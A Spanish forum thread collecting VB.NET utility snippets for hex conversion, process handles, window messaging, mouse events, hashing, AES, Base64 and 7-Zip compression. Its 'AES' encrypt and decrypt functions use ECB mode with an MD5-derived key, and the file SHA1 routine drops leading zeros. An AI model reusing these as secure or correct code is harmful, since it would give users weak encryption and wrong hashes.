· Hexadecimal a Decimal:
#Region " Hex To Dec Function "
' [ Hex To Dec Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Hex_To_Dec("0x020032")) ' Result: 131122
Private Function Hex_To_Dec(ByVal str As String) As Int32
Return Convert.ToInt32(str, 16)
End Function
#End Region
· Decimal a Hexadecimal:
#Region " Dec To Hex Function "
' [ Dec To Hex Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Dec_To_Hex(131122)) ' Result: 0x020032
Private Function Dec_To_Hex(ByVal int As Int32) As String
Return Convert.ToString(int, 16)
End Function
#End Region
· Comprueba si una fuente está instalada:
EDITO: MEJORADO Y SIMPLIFICADO
#Region " Font Is Installed? Function "
' [ Font Is Installed? Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Font_Is_Installed("Lucida Console"))
Private Function Font_Is_Installed(ByVal FontName As String) As Boolean
Dim AllFonts As New Drawing.Text.InstalledFontCollection
If AllFonts.Families.ToList().Contains(New FontFamily(FontName)) Then Return True Else Return False
End Function
#End Region
Otra versión que me han proporcionado, mucho más simplificada:
#Region " Font Is Installed? Function "
' [ Font Is Installed? Function ]
'
' Examples :
' MsgBox(Font_Is_Installed("Lucida Console"))
Public Shared Function Font_Is_Installed(ByVal FontName As String) As Boolean
Using TestFont As Font = New Font(FontName, 8)
Return CBool(String.Compare(FontName, TestFont.Name, StringComparison.InvariantCultureIgnoreCase) = 0)
End Using
End Function
#End Region
· Mostrar un MessageBox centrado al form
#Region " Centered Messagebox "
' [ Centered Messagebox Function ]
'
' Instructions :
' 1. Add the Class
' 2. Use it
'
' Examples :
' Using New Centered_MessageBox(Me)
' MessageBox.Show("Test Text", "Test Title", MessageBoxButtons.OK)
' End Using
' Centered_MessageBox.vb
#Region " Centered MessageBox Class"
Imports System.Text
Imports System.Drawing
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Class Centered_MessageBox
Implements IDisposable
Private mTries As Integer = 0
Private mOwner As Form
Public Sub New(owner As Form)
mOwner = owner
owner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
End Sub
Private Sub findDialog()
' Enumerate windows to find the message box
If mTries < 0 Then
Return
End If
Dim callback As New EnumThreadWndProc(AddressOf checkWindow)
If EnumThreadWindows(GetCurrentThreadId(), callback, IntPtr.Zero) Then
If System.Threading.Interlocked.Increment(mTries) < 10 Then
mOwner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
End If
End If
End Sub
Private Function checkWindow(hWnd As IntPtr, lp As IntPtr) As Boolean
' Checks if <hWnd> is a dialog
Dim sb As New StringBuilder(260)
GetClassName(hWnd, sb, sb.Capacity)
If sb.ToString() <> "#32770" Then
Return True
End If
' Got it
Dim frmRect As New Rectangle(mOwner.Location, mOwner.Size)
Dim dlgRect As RECT
GetWindowRect(hWnd, dlgRect)
MoveWindow(hWnd, frmRect.Left + (frmRect.Width - dlgRect.Right + dlgRect.Left) \ 2, frmRect.Top + (frmRect.Height - dlgRect.Bottom + dlgRect.Top) \ 2, dlgRect.Right - dlgRect.Left, dlgRect.Bottom - dlgRect.Top, True)
Return False
End Function
Public Sub Dispose() Implements IDisposable.Dispose
mTries = -1
End Sub
' P/Invoke declarations
Private Delegate Function EnumThreadWndProc(hWnd As IntPtr, lp As IntPtr) As Boolean
<DllImport("user32.dll")> _
Private Shared Function EnumThreadWindows(tid As Integer, callback As EnumThreadWndProc, lp As IntPtr) As Boolean
End Function
<DllImport("kernel32.dll")> _
Private Shared Function GetCurrentThreadId() As Integer
End Function
<DllImport("user32.dll")> _
Private Shared Function GetClassName(hWnd As IntPtr, buffer As StringBuilder, buflen As Integer) As Integer
End Function
<DllImport("user32.dll")> _
Private Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As RECT) As Boolean
End Function
<DllImport("user32.dll")> _
Private Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, w As Integer, h As Integer, repaint As Boolean) As Boolean
End Function
Private Structure RECT
Public Left As Integer
Public Top As Integer
Public Right As Integer
Public Bottom As Integer
End Structure
End Class
#End Region
#End Region
· Devuelve el título de la ventana de un proceso
#Region " Get Process Window Title Function "
' [ Get Process Window Title Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Process_Window_Title("cmd"))
' MsgBox(Get_Process_Window_Title("cmd.exe"))
Private Function Get_Process_Window_Title(ByVal ProcessName As String) As String
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Dim ProcessArray = Process.GetProcessesByName(ProcessName)
If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowTitle
End Function
#End Region
· Devuelve el handle de un proceso
#Region " Get Process Handle Function "
' [ Get Process Handle Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Process_Handle("cmd"))
' MsgBox(Get_Process_Handle("cmd.exe"))
Private Function Get_Process_Handle(ByVal ProcessName As String) As IntPtr
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Dim ProcessArray = Process.GetProcessesByName(ProcessName)
If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowHandle
End Function
#End Region
· Devuelve el PID de un proceso
#Region " Get Process PID Function "
' [ Get Process PID Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Process_PID("cmd"))
' MsgBox(Get_Process_PID("cmd.exe"))
Private Function Get_Process_PID(ByVal ProcessName As String) As IntPtr
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Dim ProcessArray = Process.GetProcessesByName(ProcessName)
If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).Id
End Function
#End Region
· Cargar fuentes de texto desde los recursos:
Nota: Este code ya lo posteé pero se me olvidó agregar lo más importante, la class, así que lo vuelvo a postear xD
#Region " Use Custom Text-Font "
' [ Use Custom Text-Font ]
'
' Instructions :
' 1. Add a .TTF font to the resources
' 2. Add the class
' 3. Use it
'
' Examples:
' Label1.Font = New Font(GameFont.Font, 10.0!)
' Label1.Text = "This is your custom font !!"
Dim MyFont As New CustomFont(My.Resources.kakakaka)
Private Sub Main_Disposed(sender As Object, e As System.EventArgs) Handles Me.Disposed
MyFont.Dispose()
End Sub
' CustomFont.vb
#Region " CustomFont Class "
Imports System.Drawing
Imports System.Drawing.Text
Imports System.Runtime.InteropServices
''' <summary>
''' Represents a custom font not installed on the user's system.
''' </summary>
Public NotInheritable Class CustomFont
Implements IDisposable
Private fontCollection As New PrivateFontCollection()
Private fontPtr As IntPtr
#Region "Constructor"
''' <summary>
''' Creates a new custom font using the specified font data.
''' </summary>
''' <param name="fontData">The font data representing the font.</param>
Public Sub New(ByVal fontData() As Byte)
'Create a pointer to the font data and copy the
'font data into the location in memory pointed to
fontPtr = Marshal.AllocHGlobal(fontData.Length)
Marshal.Copy(fontData, 0, fontPtr, fontData.Length)
'Add the font to the shared collection of fonts:
fontCollection.AddMemoryFont(fontPtr, fontData.Length)
End Sub
#End Region
#Region "Destructor"
'Free the font in unmanaged memory, dispose of
'the font collection and suppress finalization
Public Sub Dispose() Implements IDisposable.Dispose
Marshal.FreeHGlobal(fontPtr)
fontCollection.Dispose()
GC.SuppressFinalize(Me)
End Sub
'Free the font in unmanaged memory
Protected Overrides Sub Finalize()
Marshal.FreeHGlobal(fontPtr)
End Sub
#End Region
#Region "Properties"
''' <summary>
''' Gets the font family of the custom font.
''' </summary>
Public ReadOnly Property Font() As FontFamily
Get
Return fontCollection.Families(0)
End Get
End Property
#End Region
End Class
#End Region
#End Region
· Esperar a que una aplicación termine de CARGAR
Nota : El código no está muy simplificado, pero se puede usar y funciona bien.
Nota 2: Esto sirve para aquellas aplicaciones a las que no le afecta un "Process.WaitForInputIdle", de lo contrario es una tontería usar este code tán largo y bruto.
Ejemplo de uso:
Private Sub Wait_For_Application_To_Load(ByVal APP_Path As String, Optional ByVal APP_Arguments As String = Nothing)
Process.Start("Photoshop.exe")
Timer_CheckCPU.Tag = "Photoshop"
Timer_CheckCPU.Enabled = True
While Not Timer_CheckCPU.Tag = ""
Application.DoEvents()
End While
End Sub
#Region " Wait For Application To Load (UNFINISHED AND WAITING TO BE IMPROVED)"
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByVal lpBuffer As Integer, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Private WithEvents Timer_CheckCPU As New Timer
Dim Memory_Value_Changed As Boolean
Dim CPU_Changed As Boolean
Dim CPU_Time As Boolean
Dim Running_Time As Boolean
Private _desiredTime_ms As Integer = 1500
Private Sub Timer_CheckCPU_Tick(sender As Object, ev As EventArgs) Handles Timer_CheckCPU.Tick
Timer_CheckCPU.Enabled = False
Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName(Timer_CheckCPU.Tag)
Dim hprocess As Process = pProcess(0)
If hprocess Is Nothing Then
Running = False
Timer_CheckCPU.Enabled = True
Return
End If
Running = True
Memory = hprocess.PrivateMemorySize64
CPUTotal = hprocess.TotalProcessorTime.TotalMilliseconds
If AllConditionsGood() Then
If Not (_countdown.IsRunning) Then
_countdown.Reset()
_countdown.Start()
End If
Dim _elapsed As Long = _countdown.ElapsedMilliseconds
If _elapsed >= _desiredTime_ms Then
Timer_CheckCPU.Tag = ""
Return
End If
Else
_countdown.Reset()
End If
Timer_CheckCPU.Enabled = True
End Sub
Private Function AllConditionsGood() As Boolean
If CPU_Time Then Return False
If Memory_Value_Changed Then Return False
If Running_Time Then Return False
Return True
End Function
Private _countdown As New Stopwatch
Private _Running As Boolean = False
Public WriteOnly Property Running() As Boolean
Set(ByVal value As Boolean)
_Running = value
If value Then
Running_Time = False
Else
Running_Time = True
End If
End Set
End Property
Private _CPUTotal As Double
Public WriteOnly Property CPUTotal() As Double
Set(ByVal value As Double)
CPU = value - _CPUTotal 'used cputime since last check
_CPUTotal = value
End Set
End Property
Private _CPU As Double
Public WriteOnly Property CPU() As Double
Set(ByVal value As Double)
If value = 0 Then
CPU_Time = False
Else
CPU_Time = True
End If
_CPU = value
End Set
End Property
Private _Memory As Long
Public WriteOnly Property Memory() As Long
Set(ByVal value As Long)
MemoryDiff = Math.Abs(value - _Memory)
_Memory = value
End Set
End Property
Private _MemoryDiff As Long
Public WriteOnly Property MemoryDiff() As Long
Set(ByVal value As Long)
If value = _MemoryDiff Then
Memory_Value_Changed = False
Else
Memory_Value_Changed = True
End If
_MemoryDiff = value
End Set
End Property
#End Region
Cargar configuración desde un archivo INI
Dim INI_File As String = ".\Test.ini"
' By Elektro H@cker
Private Sub Load_INI_settings()
Dim Line As String = Nothing
Dim ValueName As String = Nothing
Dim Value
Dim xRead As IO.StreamReader
xRead = IO.File.OpenText(INI_File)
Do Until xRead.EndOfStream
Line = xRead.ReadLine().ToLower
ValueName = Line.Split("=")(0).ToLower
Value = Line.Split("=")(1)
If ValueName = "Game".ToLower Then TextBox_Game.Text = Value
If ValueName = "SaveSettings".ToLower Then CheckBox_SaveSettings.Checked = Value
Loop
xRead.Close()
xRead.Dispose()
End Sub
dada una lista de imágenes, un tamaño por imágen y un número de imágenes por línea devuelve un bitmap con todas las imágenes dibujadas sobre una cuadricula del tamaño indicado. Muy útil para el manejo de gráficos 2D.
Public Function get_Image_matrix(ByRef imagelist As Bitmap(), sze As Size, imgs_per_line As Integer)
Dim imagesize As New Size(1, 1)
imagesize.Width = sze.Width * imgs_per_line
imagesize.Height = Math.Ceiling((imagelist.Length / imgs_per_line) * sze.Height)
If (imagesize.Height = 0) Then
imagesize.Height = 1 * sze.Height
End If
If (imagesize.Width = 0) Then
imagesize.Width = 1 * sze.Width
End If
Dim rtn As New Bitmap(imagesize.Width, imagesize.Height)
Dim gr As Graphics = Graphics.FromImage(rtn)
Dim xc As Integer = 0
Dim yc As Integer = 0
Dim index As Integer = 0
Dim needlines As Integer = Math.Ceiling(imagelist.Length / imgs_per_line)
Do While yc < imagesize.Height
Do While xc < imgs_per_line * sze.Width
Try
gr.DrawImage(imagelist(index), New Rectangle(xc, yc, sze.Width, sze.Height))
Catch ex As Exception
End Try
index += 1
xc += 1 * sze.Width
Loop
xc = 0
yc += 1 * sze.Height
Loop
Return rtn
End Function
(https://lh5.googleusercontent.com/-FO5r1No9VLc/UWf6ckJ_0PI/AAAAAAAABA4/gPaCVREtVK4/w248-h248/Captura_functionmatriximage02.PNG)
@ABDERRAMAH
Gracias por aportar!
Mi recopilación personal de snippets ha sido re-ordenada y actualizada en el post principal, ya son un total de 200 snippets! :)
Saludos.
· Enviar texto a una ventana PERO sin activar el foco de esa ventana :)
Ejemplo de uso:
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
' Abrimos una instancia minimizada del bloc de notas
Process.Start("CMD", "/C Start /MIN Notepad.exe")
' Y enviamos el texto a la instancia minimizada del bloc de notas!
' Nota: El while es para esperar a que el notepad termine de cargar, no es algo imprescindible.
While Not SendKeys_To_App("notepad.exe", "By Elektro H@cker" & vbCrLf & "... :D") : Application.DoEvents() : End While
End Sub
Función:
#Region " SendKeys To App "
' [ SendKeys To App Function ]
'
' // By Elektro H@cker
'
' Examples :
' SendKeys_To_App("notepad.exe", "By Elektro H@cker" & vbCrLf & "... :D")
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const EM_REPLACESEL = &HC2
Private Function SendKeys_To_App(ByVal App_Name As String, ByVal str As String) As Boolean
Dim nPadHwnd As Long, ret As Long, EditHwnd As Long
Dim APP_WindowTitle As String
If App_Name.ToLower.EndsWith(".exe") Then App_Name = App_Name.Substring(0, App_Name.Length - 4) ' Rename APP Name
Dim ProcessArray = Process.GetProcessesByName(App_Name)
If ProcessArray.Length = 0 Then
Return False ' App not found
Else
APP_WindowTitle = ProcessArray(0).MainWindowTitle ' Set window title of the APP
End If
nPadHwnd = FindWindow(App_Name, APP_WindowTitle)
If nPadHwnd > 0 Then
EditHwnd = FindWindowEx(nPadHwnd, 0&, "Edit", vbNullString) ' Find edit window
If EditHwnd > 0 Then ret = SendMessage(EditHwnd, EM_REPLACESEL, 0&, str) ' Send text to edit window
Return True ' Text sended
Else
Return False ' Name/Title not found
End If
End Function
#End Region
· Convierte entero a caracter
#Region " Byte To Char "
' [ Byte To Char Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Byte_To_Char(97)) ' Result: a
Private Function Byte_To_Char(ByVal int As Int32) As String
Return Convert.ToChar(int)
End Function
#End Region
· Convierte caracter a entero
#Region " Char To Byte "
' [ Char To Byte Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Char_To_Byte("a")) ' Result: 97
' Dim MyChar As String = "a" : MsgBox(Chr(Char_To_Byte(MyChar))) ' Result: a ( ...xD )
Private Function Char_To_Byte(ByVal str As String) As Int32
Dim character As Char = str & "c"
Return Convert.ToByte(character)
End Function
#End Region
· Obtiene el SHA1 de un string
#Region " Get SHA1 Of String "
' [ Get SHA1 Of String Function ]
'
' Examples :
' MsgBox(Get_SHA1_Of_String("Hello")) ' Result: D2EFCBBA102ED3339947E85F4141EB08926E40E9
Private Function Get_SHA1_Of_String(ByVal str As String) As String
'create our SHA1 provider
Dim sha As System.Security.Cryptography.SHA1 = New System.Security.Cryptography.SHA1CryptoServiceProvider()
Dim hashedValue As String = String.Empty
'hash the data
Dim hashedData As Byte() = sha.ComputeHash(System.Text.Encoding.Unicode.GetBytes(str))
'loop through each byte in the byte array
For Each b As Byte In hashedData
'convert each byte and append
hashedValue += String.Format("{0,2:X2}", b)
Next
'return the hashed value
Return hashedValue
End Function
#End Region
· Obtiene el SHA1 de un archivo
#Region " Get SHA1 Of File "
' [ Get SHA1 Of File Function ]
'
' Examples :
' MsgBox(Get_SHA1_Of_File("C:\File.txt"))
Private Function Get_SHA1_Of_File(ByVal File As String) As String
Dim File_Stream As New System.IO.FileStream(File, IO.FileMode.Open)
Dim sha As New System.Security.Cryptography.SHA1CryptoServiceProvider
Dim hash As Array
Dim shaHash As String
Dim sb As New System.Text.StringBuilder
sha.ComputeHash(File_Stream)
hash = sha.Hash
For Each hashByte As Byte In hash : sb.Append(String.Format("{0:X1}", hashByte)) : Next
shaHash = sb.ToString
File_Stream.Close()
Return shaHash
End Function
#End Region
· cifra un string en AES
#Region " AES Encrypt "
' [ AES Encrypt Function ]
'
' Examples :
' MsgBox(AES_Encrypt("Test_Text", "Test_Password")) ' Result: cv/vYwpl51/dxbxSMNSPSg==
Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim encrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = Security.Cryptography.CipherMode.ECB
Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return encrypted
Catch ex As Exception
Return Nothing
End Try
End Function
#End Region
· descifra un string AES
#Region " AES Decrypt "
' [ AES Decrypt Function ]
'
' Examples :
' MsgBox(AES_Decrypt("cv/vYwpl51/dxbxSMNSPSg==", "Test_Password")) ' Result: Test_Text
Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim decrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = Security.Cryptography.CipherMode.ECB
Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
Dim Buffer As Byte() = Convert.FromBase64String(input)
decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return decrypted
Catch ex As Exception
Return Nothing
End Try
End Function
#End Region
· Devuelve el código fuente de una URL
#Region " Get URL SourceCode "
' [ Get URL SourceCode Function ]
'
' Examples :
' MsgBox(Get_URL_SourceCode("http://www.el-hacker.com"))
Function Get_URL_SourceCode(ByVal url As String) As String
Dim sourcecode As String = String.Empty
Try
Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(url)
Dim response As System.Net.HttpWebResponse = request.GetResponse()
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
sourcecode = sr.ReadToEnd()
Catch ex As Exception
MsgBox(ex.Message)
End Try
Return sourcecode
End Function
#End Region
· Intercambia entre el modo pantalla completa o modo normal.
#Region " Toogle FullScreen "
' [ Toogle FullScreen ]
'
' // By Elektro H@cker
'
' Examples :
' Toogle_FullScreen()
Dim MyFormBorderStyle = Me.FormBorderStyle
Dim MyWindowState = Me.WindowState
Dim MyTopMost = Me.TopMost
Dim IsFullscreened As Boolean
Public Sub Toogle_FullScreen()
If Not IsFullscreened Then
IsFullscreened = True
Me.FormBorderStyle = FormBorderStyle.None
Me.WindowState = FormWindowState.Maximized
Me.TopMost = True
ElseIf IsFullscreened Then
IsFullscreened = False
Me.FormBorderStyle = MyFormBorderStyle
Me.WindowState = MyWindowState
Me.TopMost = MyTopMost
End If
End Sub
#End Region
· Devuelve la versión del Framework con el que se ha desarrollado una applicación (o DLL).
#Region " Get FrameWork Of File "
' [ Get FrameWork Of File Function ]
'
' Examples :
' MsgBox(Get_FrameWork_Of_File("C:\My .Net Application.exe"))
Private Function Get_FrameWork_Of_File(ByVal File As String) As String
Try
Dim FW As System.Reflection.Assembly = Reflection.Assembly.ReflectionOnlyLoadFrom(File)
Return FW.ImageRuntimeVersion
Catch ex As Exception
Return Nothing ' Is not managed code
End Try
End Function
#End Region
· Devuelve positivo si el número es primo
#Region " Number Is Prime? "
' [ Number Is Prime? Function ]
'
' Examples :
' MsgBox(Number_Is_Prime(4)) ' Result: False
Private Function Number_Is_Prime(ByVal Number As Long, Optional ByVal f As Integer = 2) As Boolean
If Number = f Then Return True
If Number Mod f = 0 Or Number = 1 Then Return False _
Else Return Number_Is_Prime(Number, f + 1)
End Function
#End Region
· Valida si un string se puede usar como nombre de archivo en Windows
#Region " Validate Windows FileName "
' [ Validate Windows FileName Function ]
'
' Examples :
' MsgBox(Validate_Windows_FileName("C:\Test.txt")) ' Result: True
' MsgBox(Validate_Windows_FileName("C:\Te&st.txt")) ' Result: False
Private Function Validate_Windows_FileName(ByRef FileName As String) As Boolean
Dim Windows_Reserved_Chars As String = "\/:*?""<>|"
For i As Integer = 0 To FileName.Length - 1
If Windows_Reserved_Chars.Contains(FileName(i)) Then
Return False ' FileName is not valid
End If
Next
Return True ' FileName is valid
End Function
#End Region
· cifra un string a Base64
#Region " String To Base64 "
' [ String To Base64 Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(String_To_Base64("Test")) ' Result: VGVzdA==
Private Function String_To_Base64(ByVal str As String) As String
Return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str))
End Function
#End Region
· descifra un string Base64 a string
#Region " Base64 To String "
' [ Base64 To String Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Base64_To_String("VGVzdA==")) ' Result: Test
Private Function Base64_To_String(ByVal str As String) As String
Return System.Text.Encoding.ASCII.GetString(Convert.FromBase64String(str))
End Function
#End Region
· Devuelve la resolución de la pantalla primária o de la pantalla extendida
#Region " Get Screen Resolution "
' [ Get Screen Resolution Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Screen_Resolution(False).ToString)
' MsgBox(Get_Screen_Resolution(True).ToString)
' Me.Size = Get_Screen_Resolution()
Private Function Get_Screen_Resolution(ByVal Get_Extended_Screen_Resolution As Boolean) As Point
If Not Get_Extended_Screen_Resolution Then
Return New Point(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Else
Dim X As Integer, Y As Integer
For Each screen As Screen In screen.AllScreens
X += screen.Bounds.Width
Y += screen.Bounds.Height
Next
Return New Point(X, Y)
End If
End Function
#End Region
· Enviar evento click del ratón.
#Region " Mouse Click "
' [ Mouse Click ]
'
' // By Elektro H@cker
'
' Examples:
' Mouse_Click(MouseButton.Left) ' Press the left click button
' Mouse_Click(MouseButton.Left_Down) ' Hold the left click button
' Mouse_Click(MouseButton.Left_Up) ' Release the left click button
Public Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseButton, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer)
Public Enum MouseButton As Int32
Left_Down = &H2 ' Left button (hold)
Left_Up = &H4 ' Left button (release)
Right_Down = &H8 ' Right button (hold)
Right_Up = &H10 ' Right button (release)
Middle_Down = &H20 ' Middle button (hold)
Middle_Up = &H40 ' Middle button (release)
Left ' Left button (press)
Right ' Right button (press)
Middle ' Middle button (press)
End Enum
Private Sub Mouse_Click(ByVal MouseButton As MouseButton)
Select Case MouseButton
Case MouseButton.Left : Mouse_Event(MouseButton.Left_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Left_Up, 0, 0, 0, 0)
Case MouseButton.Right : Mouse_Event(MouseButton.Right_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Right_Up, 0, 0, 0, 0)
Case MouseButton.Middle : Mouse_Event(MouseButton.Middle_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Middle_Up, 0, 0, 0, 0)
Case Else : Mouse_Event(MouseButton, 0, 0, 0, 0)
End Select
End Sub
#End Region
· Setear la posición del mouse sin APIs y con posibilidad de restingir el movimiento a la pantalla primária.
#Region " Set Cursor Pos "
' [ Set Cursor Pos Function ]
'
' // By Elektro H@cker
'
' Examples :
' Set_Cursor_Pos(500, 500)
' Set_Cursor_Pos(2500, 0, False)
Private Sub Set_Cursor_Pos(ByVal X As Int32, ByVal Y As Int32, _
Optional ByVal Enable_Extended_Screen As Boolean = True)
If Not Enable_Extended_Screen Then
Dim Screen_X = My.Computer.Screen.Bounds.Width
Dim Screen_Y = My.Computer.Screen.Bounds.Height
If X > Screen_X Then X = Screen_X
If Y > Screen_Y Then Y = Screen_Y
End If
Cursor.Position = New System.Drawing.Point(X, Y)
End Sub
#End Region
· Devuelve la posición del mouse en formato seleccionable
#Region " Get Cursor Pos "
Public Enum Cursor_Data
AsText
AsPoint
End Enum
' [ Get Cursor Pos Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Cursor_Pos(Cursor_Data.AsText))
' MsgBox(Get_Cursor_Pos(Cursor_Data.AsPoint).ToString)
Private Function Get_Cursor_Pos(ByVal Cursor_Data As Cursor_Data)
Select Case Cursor_Data
Case Cursor_Data.AsText : Return Cursor.Position.X & ", " & Cursor.Position.Y
Case Cursor_Data.AsPoint : Return Cursor.Position
Case Else : Return Nothing
End Select
End Function
#End Region
· Mueve el cursor
#Region " Mouse Move "
' [ Mouse Move ]
'
' // By Elektro H@cker
'
' Examples:
' Mouse_Move(-50, 0) ' Move the cursor 50 pixels to left
' Mouse_Move(+50, 0) ' Move the cursor 50 pixels to right
' Mouse_Move(0, +50) ' Move the cursor 50 pixels to down
' Mouse_Move(0, -50) ' Move the cursor 50 pixels to up
Public Enum MouseMove_Event As Int32
Move = &H1
End Enum
Public Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseMove_Event, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer)
Private Sub Mouse_Move(ByVal X As Int32, ByVal Y As Int32)
Mouse_Event(&H1, X, Y, 0, 0)
End Sub
#End Region
· Descomprimir con la librería SevenzipSharp:
EDITO: Mejorado (Extracción con password)
#Region " SevenZipSharp Extract "
' [ SevenZipSharp Extract Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "SevenZipSharp.dll".
' 2. Add the "7z.dll" or "7z64.dll" files to the project.
' 3. Use the code below.
'
' Examples :
' SevenZipSharp_Extract("C:\File.7zip") ' Will be extracted in the same dir.
' SevenZipSharp_Extract("C:\File.7zip", "C:\Extracted\") ' Will be extracted in "C:\Extracted\".
' SevenZipSharp_Extract("C:\File.7zip", , "Password") ' Will be extracted with the given password.
Imports SevenZip
Dim dll As String = "7z.dll"
Private Function SevenZipSharp_Extract(ByVal InputFile As String, _
Optional ByVal OutputDir As String = Nothing, _
Optional ByVal Password As String = "Nothing") As Boolean
Try
' Set library path
SevenZipExtractor.SetLibraryPath(dll)
' Create extractor and specify the file to extract
Dim Extractor As SevenZipExtractor = New SevenZipExtractor(InputFile, Password)
' Specify the output path where the files will be extracted
If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
' Add Progress Handler
' AddHandler Extractor.Extracting, AddressOf SevenZipSharp_Extract_Progress
' Check for password matches
If Extractor.Check() Then
' Start the extraction
Extractor.BeginExtractArchive(OutputDir)
Else
Return False ' Bad password
End If
Return True ' File extracted
Extractor.Dispose()
Catch ex As Exception
'Return False ' File not extracted
Throw New Exception(ex.Message)
End Try
End Function
' Public Sub SevenZipSharp_Extract_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
' MsgBox("Percent extracted: " & e.PercentDone)
' End Sub
#End Region
· Comprimir con la librería SevenzipSharp:
EDITO: Mejorado (Compresión con password)
#Region " SevenZipSharp Compress "
' [ SevenZipSharp Compress Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "SevenZipSharp.dll".
' 2. Add the "7z.dll" or "7z64.dll" files to the project.
' 3. Use the code below.
'
' Examples :
' SevenZipSharp_Compress("C:\File.txt") ' File will be compressed in the same dir.
' SevenZipSharp_Compress("C:\File.txt", "C:\Compressed\File.7z") ' File will be compressed in "C:\Extracted\".
' SevenZipSharp_Compress("C:\Folder\", , , , , , "Password") ' File will be compressed with the given password.
' SevenZipSharp_Compress("C:\File.txt", , OutArchiveFormat.Zip, , CompressionMethod.Lzma, CompressionLevel.Ultra)
Imports SevenZip
Dim dll As String = "7z.dll"
Private Function SevenZipSharp_Compress(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal Format As OutArchiveFormat = OutArchiveFormat.SevenZip, _
Optional ByVal CompressionMode As CompressionMode = CompressionMode.Create, _
Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.Lzma, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
Optional ByVal Password As String = Nothing) As Boolean
Try
' Set library path
SevenZipExtractor.SetLibraryPath(dll)
' Create compressor and specify the file or folder to compress
Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
